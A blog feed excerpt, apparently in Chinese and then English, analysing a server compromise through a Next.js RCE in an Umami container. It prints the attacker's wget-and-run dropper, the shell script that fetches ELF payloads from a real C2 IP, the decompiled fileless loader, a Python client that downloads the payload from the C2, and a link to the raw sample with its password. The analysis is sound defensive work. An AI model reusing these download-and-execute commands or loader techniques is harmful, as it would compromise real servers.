&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;功能&lt;/strong&gt;: &lt;strong&gt;指令分发器 (Command Dispatcher)&lt;/strong&gt;。这是木马的主循环逻辑之一，负责接收 C2 服务器发送的指令字符串，解析并执行对应的恶意功能。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全机制&lt;/strong&gt;: 函数开头有一个鉴权检查 &lt;code&gt;if ( v18 == a2 &amp;amp;&amp;amp; (unsigned __int8)sub_4035C0() )&lt;/code&gt;。如果校验失败，直接返回 &lt;code&gt;&quot;401 Not Auth&quot;&lt;/code&gt;，说明该木马具有一定的反扫描或会话认证机制。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. 指令集详细逆向&lt;/h3&gt;
&lt;p&gt;代码通过 &lt;code&gt;switch ( a4 )&lt;/code&gt; 判断指令字符串的长度，然后检查具体的内容。这里有大量的硬编码字符串和 Hex 值：&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;Case 1 (单字符指令 - 基础控制)&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;这通常是早期版本残留或为了减少流量设计的简写指令：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;I&lt;/code&gt;&lt;/strong&gt;: 调用 &lt;code&gt;os_rename&lt;/code&gt;。功能：&lt;strong&gt;重命名文件&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;E&lt;/code&gt;&lt;/strong&gt;: 调用 &lt;code&gt;os_removeAll&lt;/code&gt;。功能：&lt;strong&gt;删除文件/清理痕迹&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;J&lt;/code&gt;&lt;/strong&gt;: 返回 &quot;0&quot; 或未知。可能用于心跳检测或状态查询。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Z&lt;/code&gt;&lt;/strong&gt;: 返回 &lt;code&gt;&quot;mysql_close\t1&quot;&lt;/code&gt;。功能：&lt;strong&gt;数据库相关&lt;/strong&gt;，推测该木马包含 MySQL 爆破或连接模块，此指令用于关闭连接。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;H&lt;/code&gt;&lt;/strong&gt;: 可能是获取主机信息 (Host Info)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;其他单字母 (A-Y)&lt;/strong&gt;: 分别调用了不同的子函数（如 &lt;code&gt;sub_7CAF40&lt;/code&gt; 等），通常对应：开启代理、执行 Shell 命令、获取系统负载等。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong&gt;Case 4 (四字符指令)&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Hex: &lt;code&gt;1414092869&lt;/code&gt; -&amp;gt; Little Endian: &lt;code&gt;0x54495845&lt;/code&gt; -&amp;gt; &lt;strong&gt;&quot;EXIT&quot;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;功能&lt;/strong&gt;: 终止木马进程。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong&gt;Case 8 (八字符指令 - 核心功能)&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;这是最关键的部分，暴露了木马的核心能力：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Download&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Hex: &lt;code&gt;0x64616F6C6E776F44LL&lt;/code&gt; -&amp;gt; &lt;strong&gt;&quot;Download&quot;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;功能&lt;/strong&gt;: 下载器功能。从指定 URL 下载文件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代码逻辑&lt;/strong&gt;: 如果 &lt;code&gt;a11&lt;/code&gt; (回调函数或接口) 存在，它会调用并处理下载结果。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;LocalRun&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Hex: &lt;code&gt;0x6E75526C61636F4CLL&lt;/code&gt; -&amp;gt; &lt;strong&gt;&quot;LocalRun&quot;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;功能&lt;/strong&gt;: &lt;strong&gt;本地执行&lt;/strong&gt;。可能是执行本地的一个 Shell 脚本或二进制文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;&lt;strong&gt;Case 9 (九字符指令 - 高级攻击)&lt;/strong&gt;&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;InjectRun&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Hex: &lt;code&gt;0x75527463656A6E49LL&lt;/code&gt; + &lt;code&gt;&apos;n&apos;&lt;/code&gt; -&amp;gt; &lt;strong&gt;&quot;InjectRun&quot;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;功能&lt;/strong&gt;: &lt;strong&gt;内存注入执行&lt;/strong&gt;。这是一个高级功能，配合你之前看到的 &lt;code&gt;memfd_create&lt;/code&gt;，这通常指将 Payload 注入到其他进程或在内存中直接运行，不落地。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;PluginRun&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Hex: &lt;code&gt;0x75526E6967756C50LL&lt;/code&gt; + &lt;code&gt;&apos;n&apos;&lt;/code&gt; -&amp;gt; &lt;strong&gt;&quot;PluginRun&quot;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;功能&lt;/strong&gt;: &lt;strong&gt;插件执行&lt;/strong&gt;。说明该木马是&lt;strong&gt;模块化&lt;/strong&gt;的，可以动态加载 &lt;code&gt;.so&lt;/code&gt; 或 Go 的 &lt;code&gt;plugin&lt;/code&gt; 模块来扩展功能（如加密货币挖矿、DDoS 攻击、端口扫描等）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;3. 响应构造逻辑&lt;/h3&gt;
&lt;p&gt;在 &lt;code&gt;switch&lt;/code&gt; 结束后，代码有一段复杂的字符串拼接逻辑：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;*(_WORD *)v71 = 15917&lt;/code&gt; -&amp;gt; ASCII &lt;code&gt;|&lt;/code&gt; 和 &lt;code&gt;}&lt;/code&gt; ? 或者特定的分隔符。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;*(_BYTE *)(v80 + v79 + 2) = 45&lt;/code&gt; -&amp;gt; ASCII &lt;code&gt;-&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结论&lt;/strong&gt;: 木马会将命令执行的结果（如“OK”、“Error”或具体数据）用特定的分隔符（如 &lt;code&gt;|&amp;lt;result&amp;gt;-&lt;/code&gt;）包裹后回传给 C2。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. 总结与画像&lt;/h3&gt;
&lt;p&gt;结合上一段代码（Loader），我们可以对这个木马做一个完整的画像：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;家族推测&lt;/strong&gt;: 这种 &lt;strong&gt;InjectRun / PluginRun / LocalRun&lt;/strong&gt; 的命名风格，以及 Golang 编写、支持模块化插件的特征，极有可能是 &lt;strong&gt;Spark&lt;/strong&gt; 僵尸网络或者其变种（如 &lt;strong&gt;Sliver&lt;/strong&gt; C2 修改版，但更像黑产自研的 Bot）。也有可能是 &lt;strong&gt;Sysrv-hello&lt;/strong&gt; 挖矿蠕虫的变种（它们常混合使用 Go 和 Exploit）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;攻击链条&lt;/strong&gt;:
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Loader&lt;/strong&gt;: 也就是之前的那个 C 代码，负责环境判断、持久化、内存中下载 Bot。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bot (本代码)&lt;/strong&gt;: 也就是这个 Go 程序，常驻内存。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modules&lt;/strong&gt;: 通过 &lt;code&gt;PluginRun&lt;/code&gt; 动态下发挖矿模块 (XMRig) 或 DDoS 攻击模块。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lateral Movement (横向移动)&lt;/strong&gt;: &lt;code&gt;mysql_close&lt;/code&gt; 暗示它有扫描弱口令的能力，通过 &lt;code&gt;InjectRun&lt;/code&gt; 感染内网其他机器。&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;总结&lt;/h1&gt;
&lt;p&gt;主要是感觉没什么继续分析的意义了，这个逻辑基本上可以判定是典型的Botnet，找到的IP有99%的概率都是被操控的僵尸机，去调查也没有意义。&lt;br /&gt;
主要还是总结一下教训，如何防止这类事情发生，对于我这种小规模的个人网站，爆出CVE最好立刻先停用有关一切服务，等确定修复的版本放出后再更新并重新启用&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;样本下载：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://drive.iyoroy.cn/Misc/%E8%AE%B0%E4%B8%80%E6%AC%A1%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A2%AB%E6%8C%82RCE%E7%9A%84%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E7%BB%8F%E5%8E%86/Payload.zip&quot;&gt;Payload.zip&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注：此样本未经任何处理，请勿在不加安全措施的情况下直接运行！&lt;/strong&gt;
密码&lt;code&gt;20251206&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>The Reverse Engineering Journey: Analyzing a Server Compromise via RCE from CVE-2025-66478 and CVE-2025-55182</title><link>https://blog.iyoroy.cn/posts/en-238/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-238/</guid><description>Following a compromised Umami container&apos;s alert from a shell script to an ELF loader and Go payload, with notes on C2 communication, file uploads, and plugin execution.</description><pubDate>Sat, 06 Dec 2025 15:53:00 GMT</pubDate><content:encoded>&lt;h1&gt;Background&lt;/h1&gt;
&lt;p&gt;It was Saturday evening, and I was resting when Alibaba Cloud suddenly called, saying the server might have been hacked by intruders. I logged into the Alibaba Cloud console to check:
&lt;img src=&quot;./images/2025/12/1385012706.png&quot; alt=&quot;1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;What I had been worrying about finally happened. The recently disclosed CVE-2025-55182 vulnerability is exploitable for RCE (Remote Code Execution). The Umami analytics tool running on my server used a vulnerable version of Next.JS. Earlier in the morning, I had manually updated my Umami, but it seems the official patch had not been released yet. The server alert originated from the umami container, which executed a remote shell script.
&lt;s&gt;As a CTFer, it&apos;s hard to resist analyzing a sample delivered right to your doorstep, right?&lt;/s&gt;&lt;/p&gt;
&lt;h1&gt;Analysis&lt;/h1&gt;
&lt;h2&gt;The Script&lt;/h2&gt;
&lt;p&gt;The warning from Alibaba Cloud showed the execution of a shell script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs.com/123/python1.sh &amp;amp;&amp;amp; chmod 777 python1.sh &amp;amp;&amp;amp; ./python1.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I tried to manually download that &lt;code&gt;python1.sh&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
cd /tmp
touch /usr/local/bin/writeablex &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&amp;amp; cd /usr/local/bin/
touch /usr/libexec/writeablex &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&amp;amp; cd /usr/libexec/
touch /usr/bin/writeablex &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&amp;amp; cd /usr/bin/
rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex
export PATH=$PATH:$(pwd)

l64=&quot;119.45.243.154:8443/?h=119.45.243.154&amp;amp;p=8443&amp;amp;t=tcp&amp;amp;a=l64&amp;amp;stage=true&quot;
l32=&quot;119.45.243.154:8443/?h=119.45.243.154&amp;amp;p=8443&amp;amp;t=tcp&amp;amp;a=l32&amp;amp;stage=true&quot;
a64=&quot;119.45.243.154:8443/?h=119.45.243.154&amp;amp;p=8443&amp;amp;t=tcp&amp;amp;a=a64&amp;amp;stage=true&quot;
a32=&quot;119.45.243.154:8443/?h=119.45.243.154&amp;amp;p=8443&amp;amp;t=tcp&amp;amp;a=a32&amp;amp;stage=true&quot;

v=&quot;042d0094tcp&quot;
rm -rf $v

ARCH=$(uname -m)
if [ ${ARCH}x = &quot;x86_64x&quot; ]; then
    (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c &apos;import urllib;urllib.urlretrieve(&quot;http://&apos;$l64&apos;&quot;, &quot;&apos;$v&apos;&quot;)&apos;)
elif [ ${ARCH}x = &quot;i386x&quot; ]; then
    (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c &apos;import urllib;urllib.urlretrieve(&quot;http://&apos;$l32&apos;&quot;, &quot;&apos;$v&apos;&quot;)&apos;)
elif [ ${ARCH}x = &quot;i686x&quot; ]; then
    (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c &apos;import urllib;urllib.urlretrieve(&quot;http://&apos;$l32&apos;&quot;, &quot;&apos;$v&apos;&quot;)&apos;)
elif [ ${ARCH}x = &quot;aarch64x&quot; ]; then
    (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c &apos;import urllib;urllib.urlretrieve(&quot;http://&apos;$a64&apos;&quot;, &quot;&apos;$v&apos;&quot;)&apos;)
elif [ ${ARCH}x = &quot;armv7lx&quot; ]; then
    (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c &apos;import urllib;urllib.urlretrieve(&quot;http://&apos;$a32&apos;&quot;, &quot;&apos;$v&apos;&quot;)&apos;)
fi

chmod +x $v
(nohup $(pwd)/$v &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;) || (nohup ./$v &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;) || (nohup /usr/bin/$v &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;) || (nohup /usr/libexec/$v &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;) || (nohup /usr/local/bin/$v &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;) || (nohup /tmp/$v &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;)
#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I found that it downloads the corresponding ELF file based on the CPU architecture.&lt;/p&gt;
&lt;h2&gt;The Loader&lt;/h2&gt;
&lt;p&gt;I attempted to manually download the binary for the amd64 architecture specified in the script above and opened it with IDA Pro:
&lt;img src=&quot;./images/2025/12/2312469940.png&quot; alt=&quot;2.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  struct hostent *v3; // rax
  in_addr_t v4; // eax
  int v5; // eax
  int v6; // ebx
  int v7; // r12d
  int v8; // edx
  _BYTE *v9; // rax
  __int64 v10; // rcx
  _DWORD *v11; // rdi
  _BYTE buf[2]; // [rsp+2h] [rbp-1476h] BYREF
  int optval; // [rsp+4h] [rbp-1474h] BYREF
  char *argva[2]; // [rsp+8h] [rbp-1470h] BYREF
  sockaddr addr; // [rsp+1Ch] [rbp-145Ch] BYREF
  char name[33]; // [rsp+2Fh] [rbp-1449h] BYREF
  char resolved[1024]; // [rsp+50h] [rbp-1428h] BYREF
  _BYTE v19[4136]; // [rsp+450h] [rbp-1028h] BYREF

  if ( !access(&quot;/tmp/log_de.log&quot;, 0) )
    exit(0);
  qmemcpy(name, &quot;119.45.243.154&quot;, sizeof(name));
  *(_QWORD *)&amp;amp;addr.sa_family = 4213178370LL;
  *(_QWORD *)&amp;amp;addr.sa_data[6] = 0LL;
  v3 = gethostbyname(name);
  if ( v3 )
    v4 = **(_DWORD **)v3-&amp;gt;h_addr_list;
  else
    v4 = inet_addr(name);
  *(_DWORD *)&amp;amp;addr.sa_data[2] = v4;
  v5 = socket(2, 1, 0);
  v6 = v5;
  if ( v5 &amp;gt;= 0 )
  {
    optval = 10;
    setsockopt(v5, 6, 7, &amp;amp;optval, 4u);
    while ( connect(v6, &amp;amp;addr, 0x10u) == -1 )
      sleep(0xAu);
    send(v6, &quot;l64   &quot;, 6uLL, 0);
    buf[0] = addr.sa_data[0];
    buf[1] = addr.sa_data[1];
    send(v6, buf, 2uLL, 0);
    send(v6, name, 0x20uLL, 0);
    v7 = syscall(319LL, &quot;a&quot;, 0LL);
    if ( v7 &amp;gt;= 0 )
    {
      while ( 1 )
      {
        v8 = recv(v6, v19, 0x1000uLL, 0);
        if ( v8 &amp;lt;= 0 )
          break;
        v9 = v19;
        do
          *v9++ ^= 0x99u;
        while ( (int)((_DWORD)v9 - (unsigned int)v19) &amp;lt; v8 );
        write(v7, v19, v8);
      }
      v10 = 1024LL;
      v11 = v19;
      while ( v10 )
      {
        *v11++ = 0;
        --v10;
      }
      close(v6);
      realpath(*argv, resolved);
      setenv(&quot;CWD&quot;, resolved, 1);
      argva[0] = &quot;[kworker/0:2]&quot;;
      argva[1] = 0LL;
      fexecve(v7, argva, _bss_start);
    }
  }
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Analysis revealed several key malicious operations:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;v7 = syscall(319LL, &quot;a&quot;, 0LL);&lt;/code&gt;: &lt;code&gt;319&lt;/code&gt; corresponds to the &lt;code&gt;memfd_create&lt;/code&gt; system call on Linux x64, used to create an anonymous file in memory. Subsequently, it downloads a Payload from the target server and loads it into this memory region for execution. This is a Fileless Malware, which does not store the payload on the disk but loads it directly into memory.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;*v9++ ^= 0x99u;&lt;/code&gt;: Decrypts the downloaded Payload by XOR-ing each byte with &lt;code&gt;0x99&lt;/code&gt;, likely to evade firewall detection.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;argva[0] = &quot;[kworker/0:2]&quot;;&lt;/code&gt;: Disguises the process as a kernel &lt;code&gt;kworker&lt;/code&gt; process.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Other operations:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Checks for the existence of the log file &lt;code&gt;/tmp/log_de.log&lt;/code&gt; to determine if the server has already been compromised. If so, it exits immediately.&lt;/li&gt;
&lt;li&gt;If connecting to the C2 server fails, it retries every 10 seconds to connect and load the Payload.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The C2 server IP &lt;code&gt;119.45.243.154&lt;/code&gt; is evident from the reversed code, but the port wasn&apos;t immediately obvious. Let&apos;s analyze the port setting code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*(_QWORD *)&amp;amp;addr.sa_family = 4213178370LL;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, &lt;code&gt;4213178370LL&lt;/code&gt; (DEC) = &lt;code&gt;0xFB200002&lt;/code&gt; (HEX). Since it&apos;s a QWORD (64-bit value), the actual value is &lt;code&gt;0x00000000FB200002&lt;/code&gt;. Due to little-endian byte order, the bytes stored in memory would be &lt;code&gt;02 00 20 FB 00 00 00 00&lt;/code&gt;.
The typical memory layout for &lt;code&gt;sockaddr&lt;/code&gt; is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;offset 0–1: &lt;code&gt;sa_family&lt;/code&gt; (2 bytes)&lt;/li&gt;
&lt;li&gt;offset 2–15: &lt;code&gt;sa_data&lt;/code&gt; (14 bytes)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Thus, the assignment above does the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;offset 0: Low byte of &lt;code&gt;sa_family&lt;/code&gt; = &lt;code&gt;0x02&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;offset 1: High byte of &lt;code&gt;sa_family&lt;/code&gt; = &lt;code&gt;0x00&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;offset 2: &lt;code&gt;sa_data[0]&lt;/code&gt; = &lt;code&gt;0x20&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;offset 3: &lt;code&gt;sa_data[1]&lt;/code&gt; = &lt;code&gt;0xFB&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;offset 4..7: &lt;code&gt;sa_data[2..5]&lt;/code&gt; = &lt;code&gt;0x00 0x00 0x00 0x00&lt;/code&gt;
Here, &lt;code&gt;sa_data[0..1]&lt;/code&gt; represents the port, and &lt;code&gt;sa_data[2..5]&lt;/code&gt; represents the IP address. Since network byte order is big-endian, the actual port is &lt;code&gt;0x20FB&lt;/code&gt;, which is &lt;code&gt;8443&lt;/code&gt;. The IP address assignment is found later:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;v3 = gethostbyname(name);
if ( v3 )
  v4 = **(_DWORD **)v3-&amp;gt;h_addr_list;
else
  v4 = inet_addr(name);
*(_DWORD *)&amp;amp;addr.sa_data[2] = v4;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I wrote a Python script to connect to the server based on the loader&apos;s logic and attempt to download the Payload into an ELF file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import socket
import time
import os

C2_HOST = &quot;119.45.243.154&quot;
C2_PORT = 8443

OUTPUT_FILE = &quot;payload.elf&quot;

def xor_decode(data):
    return bytes([b ^ 0x99 for b in data])

def main():
    # Delete old file
    if os.path.exists(OUTPUT_FILE):
        os.remove(OUTPUT_FILE)

    while True:
        try:
            print(f&quot;[+] Connecting to C2 {C2_HOST}:{C2_PORT} ...&quot;)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((C2_HOST, C2_PORT))
            print(&quot;[+] Connected.&quot;)

            # Handshake
            s.send(b&quot;l64   &quot;)
            s.send(b&quot;\x20\xfb&quot;)  # fake port
            s.send(b&quot;119.45.243.154&quot;.ljust(32, b&quot;\x00&quot;))

            print(&quot;[+] Handshake sent.&quot;)
            print(f&quot;[+] Writing decrypted ELF data to {OUTPUT_FILE}\n&quot;)

            with open(OUTPUT_FILE, &quot;ab&quot;) as f:
                while True:
                    data = s.recv(4096)
                    if not data:
                        print(&quot;[-] C2 closed connection.&quot;)
                        break

                    decrypted = xor_decode(data)
                    f.write(decrypted)

                    print(f&quot;[+] Received {len(data)} bytes, written to file.&quot;)

            print(&quot;[*] Reconnecting in 10 seconds...\n&quot;)
            time.sleep(10)

        except Exception as e:
            print(f&quot;[-] Error: {e}&quot;)
            print(&quot;[*] Reconnecting in 10 seconds...\n&quot;)
            time.sleep(10)

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Running it yielded an ELF file, &lt;code&gt;payload.elf&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Payload.elf&lt;/h2&gt;
&lt;p&gt;First, I uploaded it to Weibu Cloud Sandbox for detection, which confirmed it was a Trojan:
&lt;img src=&quot;./images/2025/12/1828954068.png&quot; alt=&quot;3.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However, the sandbox didn&apos;t detect highly dangerous behaviors. I consulted a senior in reverse engineering, who analyzed the sample and determined it was written in Go. I used GoReSym to export the symbol table and loaded it into IDA Pro:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\GoReSym.exe payload.elf &amp;gt; symbols.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I had an AI write an IDA Pro script to import the symbol table:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import json
import idc
import idaapi
import idautils

# ⚠️ Modify this: Path to your generated symbols.json file
json_path = r&quot;D:\\Desktop\\symbols.json&quot;

def restore_symbols():
    print(&quot;[-] Loading symbols from JSON...&quot;)
    try:
        with open(json_path, &apos;r&apos;, encoding=&apos;utf-8&apos;) as f:
            data = json.load(f)
    except Exception as e:
        print(f&quot;[!] Error opening file: {e}&quot;)
        return

    # 1. Restore User Functions
    count = 0
    for func in data.get(&apos;UserFunctions&apos;, []):
        start_addr = func[&apos;Start&apos;]
        full_name = func[&apos;FullName&apos;]

        # Clean up characters IDA doesn&apos;t like
        safe_name = full_name.replace(&quot;(&quot;, &quot;_&quot;).replace(&quot;)&quot;, &quot;_&quot;).replace(&quot;*&quot;, &quot;ptr_&quot;).replace(&quot;/&quot;, &quot;_&quot;)

        # Attempt to rename
        if idc.set_name(start_addr, safe_name, idc.SN_NOWARN | idc.SN_NOCHECK) == 1:
            # Optionally, if renaming succeeds, try to re-analyze as code
            idc.create_insn(start_addr)
            idc.add_func(start_addr)
            count += 1

    print(f&quot;[+] Successfully renamed {count} functions.&quot;)

if __name__ == &quot;__main__&quot;:
    restore_symbols()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In IDA, I used &lt;code&gt;File&lt;/code&gt; -&amp;gt; &lt;code&gt;Script file&lt;/code&gt; to run the script and import the symbol table. Simultaneously, I provided the symbol table to an AI for analysis, which identified functions related to OSS bucket operations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;(*Config).GetAccessKeyID&lt;/code&gt; / &lt;code&gt;GetAccessKeySecret&lt;/code&gt; / &lt;code&gt;GetSecurityToken&lt;/code&gt; -&amp;gt; &lt;strong&gt;Steals or uses cloud credentials&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Bucket.PutObjectFromFile&lt;/code&gt; -&amp;gt; &lt;strong&gt;Uploads files&lt;/strong&gt; (very likely exfiltrating data from your server to the attacker&apos;s OSS Bucket).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Bucket.DoPutObject&lt;/code&gt; -&amp;gt; Executes the upload operation.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(*Config).LimitUploadSpeed&lt;/code&gt; / &lt;code&gt;LimitDownloadSpeed&lt;/code&gt; -&amp;gt; Limits bandwidth usage to avoid detection of abnormal network activity.&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Obfuscated Package Name&lt;/th&gt;
&lt;th&gt;Real Package / Functional Guess&lt;/th&gt;
&lt;th&gt;Evidence (Artifacts)&lt;/th&gt;
&lt;th&gt;Behavior Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;ojQuzc_T&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Aliyun OSS SDK&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PutObjectFromFile&lt;/code&gt;, &lt;code&gt;GetAccessKeySecret&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Connects to Aliyun OSS, uploads/downloads files, steals credentials.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;l2FdnE6&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;os/exec&lt;/code&gt; (Command Execution)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;(*Ps1Jpr8w8).Start&lt;/code&gt;, &lt;code&gt;StdinPipe&lt;/code&gt;, &lt;code&gt;Output&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Executes system commands&lt;/strong&gt;. It calls Linux shell commands.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;qzjJr5PCHfoj&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;os&lt;/code&gt; / Filesystem Operations&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Readdir&lt;/code&gt;, &lt;code&gt;Chown&lt;/code&gt;, &lt;code&gt;Truncate&lt;/code&gt;, &lt;code&gt;SyscallConn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Traverses directories, modifies file permissions, reads/writes files.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;PqV1YDIP&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;godbus/dbus&lt;/code&gt; (D-Bus)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;(*Conn).BusObject&lt;/code&gt;, &lt;code&gt;(*Conn).Eavesdrop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Connects to Linux D-Bus. Possibly for &lt;strong&gt;privilege escalation&lt;/strong&gt;, monitoring system events, or interacting with &lt;code&gt;systemd&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
